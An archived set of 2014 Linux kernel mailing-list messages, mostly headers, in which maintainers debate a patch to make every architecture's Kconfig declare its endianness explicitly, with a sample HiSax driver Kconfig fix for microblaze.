List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43257 gmane.linux.ports.alpha:2349 gmane.linux.kernel:1768368 gmane.linux.ports.arm.kernel:348659 gmane.linux.ports.hexagon:750 gmane.linux.ports.ia64:24123 gmane.linux.kernel.metag:246 gmane.linux.ports.openrisc:516 gmane.linux.ports.parisc:5976 gmane.linux.ports.ppc64.devel:104339 gmane.linux.ports.sparc:19440 gmane.linux.uml.devel:14560 gmane.linux.uml.user:14704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43257>

On 08/15/2014 02:27 AM, Lennox Wu wrote:
> I don't think it's necessary, what's the benfit?
> 
> 2014-08-15 2:21 GMT+08:00 Vineet Gupta <Vineet.Gupta1@synopsys.com>:
> 
>> On Thursday 14 August 2014 09:55 AM, Chen Gang wrote:
[...]
>>> diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
>>> index 9596b0a..e939abd 100644
>>> --- a/arch/arc/Kconfig
>>> +++ b/arch/arc/Kconfig
>>> @@ -35,6 +35,7 @@ config ARC
>>>       select OF_EARLY_FLATTREE
>>>       select PERF_USE_VMALLOC
>>>       select HAVE_DEBUG_STACKOVERFLOW
>>> +     select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
>>
>> It is not clear what exactly are you trying to fix. What doesn't work w/o
>> this
>> patch !
>>

For many individual modules may need check CPU_LITTLE_ENDIAN or
CPU_BIG_ENDIAN, which is an architecture's attribute.

Or they have to list many architectures which they support, which they
don't support. And still, it is not precise.

For architecture API, endian is a main architecture's attribute which
may be used by outside, so every architecture need let outside know
about it, explicitly.


Thanks.
-- 
Chen Gang

Open share and attitude like air water and life which God blessed



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian
 explicitly
Date: Thu, 14 Aug 2014 23:12:53 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA230753C4BA673@IN01WEMBXA.internal.synopsys.com>
References: <53ECE9DD.80004@gmail.com>
 <C2D7FE5348E1B147BCA15975FBA230753C4BA528@IN01WEMBXA.internal.synopsys.com>
 <CAF0htA6qfhyVXEuLbruiz+dfxnieF-309NdxSDhoEYHM=aBhQA@mail.gmail.com>
 <53ED36AB.8020703@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1408058092 10245 80.91.229.3 (14 Aug 2014 23:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 23:14:52 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
        "rth@twiddle.net" <rth@twiddle.net>,
        "ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
        "mattst88@gmail.com" <mattst88@gmail.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>,
        "linux@arm.linux.org.uk" <linux@arm.linux.org.uk>,
        "catalin.marinas@arm.com" <catalin.marinas@arm.com>,
        "will.deacon@arm.com" <will.deacon@arm.com>,
        "hskinnemoen@gmail.com" <hskinnemoen@gmail.com>,
        "egtvedt@samfundet.no" <egtvedt@samfundet.no>,
        "realmz6@gmail.com" <realmz6@gmail.com>,
        "msalter@redhat.com" <msalter@redhat.com>,
        "a-jacquiot@ti.com" <a-jacquiot@ti.com>,
        "starvik@axis.com" <starvik@axis.com>,
        "jesper.nilsson@axis.com" <jesper.nilsson@axis.com>,
To: Chen Gang <gang.chen.5i5j@gmail.com>,
        Lennox Wu <lennox.wu@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Aug 15 01:14:36 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XI4E7-0002oA-HW
	for sgi-linux-mips@gmane.org; Fri, 15 Aug 2014 01:14:35 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53698 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6855147AbaHNXObt6lqZ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 15 Aug 2014 01:14:31 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 15 Aug 2014 01:14:18 +0200 (CEST)
Original-Received: from us01smtprelay-2.synopsys.com ([198.182.44.111]:48418 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6855144AbaHNXOKFyo8O convert rfc822-to-8bit
        (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 15 Aug 2014 01:14:10 +0200
Original-Received: from us02secmta2.synopsys.com (us02secmta2.synopsys.com [10.12.235.98])
        by smtprelay.synopsys.com (Postfix) with ESMTP id C061424E101B;
        Thu, 14 Aug 2014 16:13:57 -0700 (PDT)
Original-Received: from us02secmta2.internal.synopsys.com (us02secmta2.internal.synopsys.com [127.0.0.1])
        by us02secmta2.internal.synopsys.com (Service) with ESMTP id 9174155F13;
        Thu, 14 Aug 2014 16:13:57 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
        by us02secmta2.internal.synopsys.com (Service) with ESMTP id A857C55F02;
        Thu, 14 Aug 2014 16:13:56 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id 59C5BCB2;
        Thu, 14 Aug 2014 16:13:56 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com (us01wehtc3.internal.synopsys.com [10.15.84.232])
        by mailhost.synopsys.com (Postfix) with ESMTP id BE98AAD7;
        Thu, 14 Aug 2014 16:13:13 -0700 (PDT)
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.104) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.3.158.1; Thu, 14 Aug 2014 16:12:57 -0700
Original-Received: from IN01WEMBXA.internal.synopsys.com ([fe80::ed6f:22d3:d35:4833])
 by IN01WEHTCA.internal.synopsys.com ([::1]) with mapi id 14.03.0158.001; Fri,
 15 Aug 2014 04:42:54 +0530
Thread-Topic: [PATCH v3] arch: Kconfig: Let all architectures set endian
 explicitly
Thread-Index: AQHPt+CPQyNRLz1f9kGDGhxSg+sSdQ==
Accept-Language: en-US, en-IN
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.9.21.32]
X-archive-position: 42111
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Vineet.Gupta1@synopsys.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43258 gmane.linux.ports.alpha:2350 gmane.linux.kernel:1768381 gmane.linux.ports.arm.kernel:348663 gmane.linux.ports.hexagon:751 gmane.linux.ports.ia64:24124 gmane.linux.kernel.metag:247 gmane.linux.ports.openrisc:517 gmane.linux.ports.parisc:5977 gmane.linux.ports.ppc64.devel:104340 gmane.linux.ports.sparc:19441 gmane.linux.uml.devel:14561 gmane.linux.uml.user:14705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43258>

On Thursday 14 August 2014 03:22 PM, Chen Gang wrote:
> For many individual modules may need check CPU_LITTLE_ENDIAN or
> CPU_BIG_ENDIAN, which is an architecture's attribute.
>
> Or they have to list many architectures which they support, which they
> don't support. And still, it is not precise.
>
> For architecture API, endian is a main architecture's attribute which
> may be used by outside, so every architecture need let outside know
> about it, explicitly.

I don't think that is correct. The modules need to use standard API e.g. swab
which will take care of proper endian handling anyways. Why would a module do
anything endian specific outside of those APIs.

And again is this churn just theoretical or do you really have a issue at hand ! I
would not accept a change for ARC unless you prove that something is broken (or
atleast potentially broken) !

-Vineet



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Fri, 15 Aug 2014 09:29:49 +0800
Lines: 89
Approved: news@gmane.org
Message-ID: <53ED628D.8010807@gmail.com>
References: <53ECE9DD.80004@gmail.com> <C2D7FE5348E1B147BCA15975FBA230753C4BA528@IN01WEMBXA.internal.synopsys.com> <CAF0htA6qfhyVXEuLbruiz+dfxnieF-309NdxSDhoEYHM=aBhQA@mail.gmail.com> <53ED36AB.8020703@gmail.com> <C2D7FE5348E1B147BCA15975FBA230753C4BA673@IN01WEMBXA.internal.synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408065994 27601 80.91.229.3 (15 Aug 2014 01:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2014 01:26:34 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
        "rth@twiddle.net" <rth@twiddle.net>,
        "ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
        "mattst88@gmail.com" <mattst88@gmail.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>,
        "linux@arm.linux.org.uk" <linux@arm.linux.org.uk>,
        "catalin.marinas@arm.com" <catalin.marinas@arm.com>,
        "will.deacon@arm.com" <will.deacon@arm.com>,
        "hskinnemoen@gmail.com" <hskinnemoen@gmail.com>,
        "egtvedt@samfundet.no" <egtvedt@samfundet.no>,
        "realmz6@gmail.com" <realmz6@gmail.com>,
        "msalter@redhat.com" <msalter@redhat.com>,
        "a-jacquiot@ti.com" <a-jacquiot@ti.com>,
        "starvik@axis.com" <starvik@axis.com>,
        "jesper.nilsson@axis.com" <jesper.nilsson@axis.com>,
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>,
        Lennox Wu <lennox.wu@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Aug 15 03:26:17 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XI6HX-0002PK-U0
	for sgi-linux-mips@gmane.org; Fri, 15 Aug 2014 03:26:16 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53860 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6855168AbaHOB0NKmVpu (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 15 Aug 2014 03:26:13 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 15 Aug 2014 03:25:56 +0200 (CEST)
Original-Received: from mail-pd0-f177.google.com ([209.85.192.177]:44384 "EHLO
        mail-pd0-f177.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6855122AbaHOBZkXwDoi (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 15 Aug 2014 03:25:40 +0200
Original-Received: by mail-pd0-f177.google.com with SMTP id p10so2489055pdj.8
        for <multiple recipients>; Thu, 14 Aug 2014 18:25:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=/6zf3D4Ih6dfHuLdyxDcep0ykhMuWPtXTUKNOOnGnw0=;
        b=KySmjueBfoQWlsUyz0Oy/2sNik7PndzeCpk7hyr+cRNjFHpxk7ddYKFl8LMYT9IX5L
         Kd0xyBs7ngq98T/c2RNMahsUwVxMyCjJKiho+eGf/1NHTf53lJw+tZ4f2ka3cwRhfrR1
         hwZg7E/IutfmPBputyXtRbtzvUNzJ/3yD9RAx+dHiWM2n9qzy3Dr4FLo6aFbYoz7NDXE
         fM4XvRZo9LeKO3QK3ygSL19yo7bH2IeCgazx/kwqr5QBhJaazKStpDhRar78Jn6r2nxV
         0igRBspIJNGNcEDApx7j/vPZhS9MQ43DNxda1/pBs17U+UPHFM0qBJ4Q2S5RH6Filsev
         rtLQ==
X-Received: by 10.66.152.131 with SMTP id uy3mr8084069pab.13.1408065933769;
        Thu, 14 Aug 2014 18:25:33 -0700 (PDT)
Original-Received: from ShengShiZhuChengdeMacBook-Pro.local ([219.143.82.150])
        by mx.google.com with ESMTPSA id fa7sm9793882pdb.57.2014.08.14.18.25.02
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 14 Aug 2014 18:25:33 -0700 (PDT)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <C2D7FE5348E1B147BCA15975FBA230753C4BA673@IN01WEMBXA.internal.synopsys.com>
X-archive-position: 42112
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43259 gmane.linux.ports.alpha:2351 gmane.linux.kernel:1768396 gmane.linux.ports.arm.kernel:348675 gmane.linux.ports.hexagon:752 gmane.linux.ports.ia64:24125 gmane.linux.kernel.metag:248 gmane.linux.ports.openrisc:518 gmane.linux.ports.parisc:5978 gmane.linux.ports.ppc64.devel:104341 gmane.linux.ports.sparc:19443 gmane.linux.uml.devel:14562 gmane.linux.uml.user:14706
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43259>



On 8/15/14 7:12, Vineet Gupta wrote:
> On Thursday 14 August 2014 03:22 PM, Chen Gang wrote:
>> For many individual modules may need check CPU_LITTLE_ENDIAN or
>> CPU_BIG_ENDIAN, which is an architecture's attribute.
>>
>> Or they have to list many architectures which they support, which they
>> don't support. And still, it is not precise.
>>
>> For architecture API, endian is a main architecture's attribute which
>> may be used by outside, so every architecture need let outside know
>> about it, explicitly.
> 
> I don't think that is correct. The modules need to use standard API e.g. swab
> which will take care of proper endian handling anyways. Why would a module do
> anything endian specific outside of those APIs.
> 

For building time, modules can check endians with various API. But for
config time, at present, we have no related standard API for it.

> And again is this churn just theoretical or do you really have a issue at hand ! I
> would not accept a change for ARC unless you prove that something is broken (or
> atleast potentially broken) !
> 

An issue for allmodconfig under microblaze, the original patch is below
(I guess, not only one module may match this case):


-------- Forwarded Message --------
Subject: [PATCH] drivers/isdn/hisax/Kconfig: Let HISAX_NETJET skip microblaze architecture
Date: Tue, 05 Aug 2014 02:24:09 +0800
From: Chen Gang <gang.chen.5i5j@gmail.com>
To: isdn@linux-pingi.de
CC: davem@davemloft.net, Jean Delvare <jdelvare@suse.de>, netdev@vger.kernel.org, linux-kernel@vger.kernel.org <linux-kernel@vger.kernel.org>, monstr@monstr.eu

For HISAX_NETJET, HISAX_NETJET_U or related config needs !__BIG_ENDIAN,
so skip microblaze, just like skip all other architectures which have
no CONFIG_*_ENDIAN.

The related error (with allmodconfig under microblaze):

    CC [M]  drivers/isdn/hisax/nj_s.o
  drivers/isdn/hisax/nj_s.c: In function 'setup_netjet_s':
  drivers/isdn/hisax/nj_s.c:265:2: error: #error "not running on big endian machines now"
   #error "not running on big endian machines now"
    ^

Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
---
 drivers/isdn/hisax/Kconfig | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/isdn/hisax/Kconfig b/drivers/isdn/hisax/Kconfig
index 97465ac..eb83d94 100644
--- a/drivers/isdn/hisax/Kconfig
+++ b/drivers/isdn/hisax/Kconfig
@@ -237,7 +237,7 @@ config HISAX_MIC
 
 config HISAX_NETJET
 	bool "NETjet card"
-	depends on PCI && (BROKEN || !(PPC || PARISC || M68K || (MIPS && !CPU_LITTLE_ENDIAN) || FRV || (XTENSA && !CPU_LITTLE_ENDIAN)))
+	depends on PCI && (BROKEN || !(PPC || PARISC || M68K || (MIPS && !CPU_LITTLE_ENDIAN) || FRV || (XTENSA && !CPU_LITTLE_ENDIAN) || MICROBLAZE))
 	depends on VIRT_TO_BUS
 	help
 	  This enables HiSax support for the NetJet from Traverse
@@ -249,7 +249,7 @@ config HISAX_NETJET
 
 config HISAX_NETJET_U
 	bool "NETspider U card"
-	depends on PCI && (BROKEN || !(PPC || PARISC || M68K || (MIPS && !CPU_LITTLE_ENDIAN) || FRV || (XTENSA && !CPU_LITTLE_ENDIAN)))
+	depends on PCI && (BROKEN || !(PPC || PARISC || M68K || (MIPS && !CPU_LITTLE_ENDIAN) || FRV || (XTENSA && !CPU_LITTLE_ENDIAN) || MICROBLAZE))
 	depends on VIRT_TO_BUS
 	help
 	  This enables HiSax support for the Netspider U interface ISDN card





Thanks.
-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Filippov <jcmvbkbc@gmail.com>
Newsgroups: gmane.linux.ports.openrisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.uml.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set
	endian explicitly
Date: Fri, 15 Aug 2014 05:47:15 +0400
Lines: 45
Approved: news@gmane.org
Message-ID: <CAMo8BfLuXZ8zyEoKdo8yb6nd+pZUnx0YEL9nqHx98kt76ezfYg@mail.gmail.com>
References: <53ECE9DD.80004@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408067255 6654 80.91.229.3 (15 Aug 2014 01:47:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2014 01:47:35 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org,
	Linux/MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-s390@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Catalin Marinas <catalin.marinas@arm.com>,
	linux@lists.openrisc.net, Will Deacon <will.deacon@arm.com>,
	David Howells <dhowells@redhat.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	linux-hexagon@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Jean Delvare <jdelvare@suse.de>, egtvedt@samfundet.no,
	Liqin Chen <liqin.linux@gmail.com>, jesper.nilsson@axis.com,
	linux-am33-list@redhat.com, Russell King <linux@arm.linux.org.uk>,
	linux-c6x-dev@linux-c6x.org, "David S. Miller" <davem@davemloft.net>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	Michael Ellerman <mpe@ellerman.id.au>, takata@linux-m32
To: Chen Gang <gang.chen.5i5j@gmail.com>
Original-X-From: linux-bounces@lists.openrisc.net Fri Aug 15 03:47:21 2014
Return-path: <linux-bounces@lists.openrisc.net>
Envelope-to: glpo-linux@m.gmane.org
Original-Received: from openrisc.net ([37.247.8.39])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-bounces@lists.openrisc.net>)
	id 1XI6bw-0000WT-GO
	for glpo-linux@m.gmane.org; Fri, 15 Aug 2014 03:47:20 +0200
Original-Received: from openrisc.net (localhost [127.0.0.1])
	by openrisc.net (Postfix) with ESMTP id D0AE9160BF0;
	Fri, 15 Aug 2014 03:47:19 +0200 (CEST)
Original-Received: from mail-oa0-f52.google.com (mail-oa0-f52.google.com
	[209.85.219.52]) by openrisc.net (Postfix) with ESMTPS id 05656160B9C
	for <linux@lists.openrisc.net>; Fri, 15 Aug 2014 03:47:17 +0200 (CEST)
Original-Received: by mail-oa0-f52.google.com with SMTP id o6so1626363oag.39
	for <linux@lists.openrisc.net>; Thu, 14 Aug 2014 18:47:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
	h=mime-version:in-reply-to:references:date:message-id:subject:from:to
	:cc:content-type;
	bh=p8c4rjMSSJdO1Xt7FMqsuCj+8awOdO+1GFFG//IUgYk=;
	b=nbUSgkhiizo2fohmCn/J0WStyLeXGaWbRH8sO16lxa1TEe1eAZ9HkKUGeISo8BnCl+
	Ybr4G5EaPm7dMaQkvkCnx2VX7kqm0UgCDreGcUNfDzY3817HwDpzTd3jBAUgiV3QHAc5
	tidYn43KOw5rIToqRXqKRmhKCt02uy5mDRLOG1eOR/1EyYcR2ctUjBRYl6e5CZr9Mldn
	FVOrASo/1X4ymAvx3WdxUNXgQG32xaBHzd3yQWErDDbGFfm/mLRwtKrDs+Wxq5L6lW6k
	cjbCWK5U3+vS1KgdvXHp6k6tW+KVrvjHqxK2+X8xrhRHv4TK1G7amCunLRCq39rDbrsZ
	EOvw==
X-Received: by 10.60.102.74 with SMTP id fm10mr17503721oeb.24.1408067236039;
	Thu, 14 Aug 2014 18:47:16 -0700 (PDT)
Original-Received: by 10.76.130.47 with HTTP; Thu, 14 Aug 2014 18:47:15 -0700 (PDT)
In-Reply-To: <53ECE9DD.80004@gmail.com>
X-BeenThere: linux@lists.openrisc.net
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: OpenRISC Linux <linux.lists.openrisc.net>
List-Unsubscribe: <http://lists.openrisc.net/options/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=unsubscribe>
List-Archive: <http://lists.openrisc.net/pipermail/linux>
List-Post: <mailto:linux@lists.openrisc.net>
List-Help: <mailto:linux-request@lists.openrisc.net?subject=help>
List-Subscribe: <http://lists.openrisc.net/listinfo/linux>,
	<mailto:linux-request@lists.openrisc.net?subject=subscribe>
Original-Sender: linux-bounces@lists.openrisc.net
Errors-To: linux-bounces@lists.openrisc.net
Xref: news.gmane.org gmane.linux.ports.openrisc:519 gmane.linux.ports.mips.general:43260 gmane.linux.ports.sparc:19444 gmane.linux.ports.hexagon:753 gmane.linux.ports.alpha:2352 gmane.linux.uml.user:14707 gmane.linux.kernel.metag:249 gmane.linux.ports.arm.kernel:348677 gmane.linux.ports.ia64:24126 gmane.linux.ports.parisc:5979 gmane.linux.kernel:1768401 gmane.linux.uml.devel:14563 gmane.linux.ports.ppc64.devel:104342
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.openrisc/519>

Hi Chen,

On Thu, Aug 14, 2014 at 8:54 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
> Normal architectures:
>
>  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
>
>  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
>                   score, unicore32, x86
>
>  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh
>
> Special architectures:
>
>  - Deside by compiler: microblaze, tile, xtensa.
>
>  - Deside by building host: um
>
>  - Next, need improve Kbuild to probe endian to deside whether need mark
>    __BUILDING_TIME_BIG_ENDIAN__ before real config.

[...]

> diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
> index 3a617af..a3e8f7e 100644
> --- a/arch/xtensa/Kconfig
> +++ b/arch/xtensa/Kconfig
> @@ -22,6 +22,8 @@ config XTENSA
>         select HAVE_IRQ_TIME_ACCOUNTING
>         select HAVE_PERF_EVENTS
>         select COMMON_CLK
> +       select CPU_BIG_ENDIAN if __BUILDING_TIME_BIG_ENDIAN__
> +       select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
>         help
>           Xtensa processors are 32-bit RISC machines designed by Tensilica
>           primarily for embedded systems.  These processors are both

I've tested this part and it doesn't select neither CPU_BIG_ENDIAN,
nor CPU_LITTLE_ENDIAN. And looking into the Kconfig/Kbuild I cound't
find anything related to __BUILDING_TIME_BIG_ENDIAN__. Am I missing
something?

-- 
Thanks.
-- Max

From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Filippov <jcmvbkbc@gmail.com>
Newsgroups: gmane.linux.ports.openrisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.uml.devel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set
	endian explicitly
Date: Fri, 15 Aug 2014 05:52:09 +0400
Lines: 50
Approved: news@gmane.org
Message-ID: <CAMo8Bf+=EgXc0hq14y9Kdykaw_7E52kRAENU1P0fAK4tTx=JpA@mail.gmail.com>
References: <53ECE9DD.80004@gmail.com>
	<CAMo8BfLuXZ8zyEoKdo8yb6nd+pZUnx0YEL9nqHx98kt76ezfYg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408067546 10110 80.91.229.3 (15 Aug 2014 01:52:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2014 01:52:26 +0000 (UTC)
Cc: Linux/MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-s390@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Catalin Marinas <catalin.marinas@arm.com>,
	linux@lists.openrisc.net, Will Deacon <will.deacon@arm.com>,
	David Howells <dhowells@redhat.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	linux-hexagon@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Jean Delvare <jdelvare@suse.de>, egtvedt@samfundet.no,
